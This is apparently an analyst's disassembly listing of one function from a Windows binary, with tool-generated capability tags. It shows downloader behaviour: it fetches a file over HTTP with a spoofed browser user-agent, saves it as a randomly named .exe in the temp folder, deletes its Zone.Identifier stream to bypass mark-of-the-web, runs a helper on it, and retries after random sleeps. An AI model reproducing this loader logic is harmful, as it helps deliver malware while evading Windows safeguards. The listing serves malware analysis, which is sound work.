Function at 0x4010ff
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x734
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
mov dword [esp], 0x104
lea eax, [ebp - 0x734]
push eax
xor ebx, ebx
push str._temp_
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCR90.dll_rand
cdq
mov edi, 0x7530
mov ecx, edi
idiv ecx
mov esi, 0x2710
add edx, esi
push edx
call sub.MSVCR90.dll_rand
cdq
idiv edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x734]
add edx, esi
push edx
push eax
lea eax, [ebp - 0x220]
push str._s_d_d.exe
push eax
call edi
add esp, 0x14
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_83.0.4103.116_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x401272
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x401269
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x401260
jmp 0x4011eb
cmp dword [ebp - 8], ebx
je 0x401208
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 8]
push eax
push 0x103
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4011ce
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x52c]
push str._s:Zone.Identifier
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x52c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x220]
push eax
call fcn.0040107d
pop ecx
cmp al, 1
jne 0x401260
mov byte [ebp - 1], al
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 1], bl
jne 0x401329
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
add edx, 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, esi
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
lea eax, [ebp - 0x734]
add edx, esi
push edx
push eax
lea eax, [ebp - 0x220]
push str._s_d_d.exe
push eax
call edi
add esp, 0x14
push ebx
push ebx
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
push ebx
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x401329
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x52c]
push str._s:Zone.Identifier
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x52c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x220]
push eax
call fcn.0040107d
pop ecx
pop edi
pop esi
pop ebx
leave
ret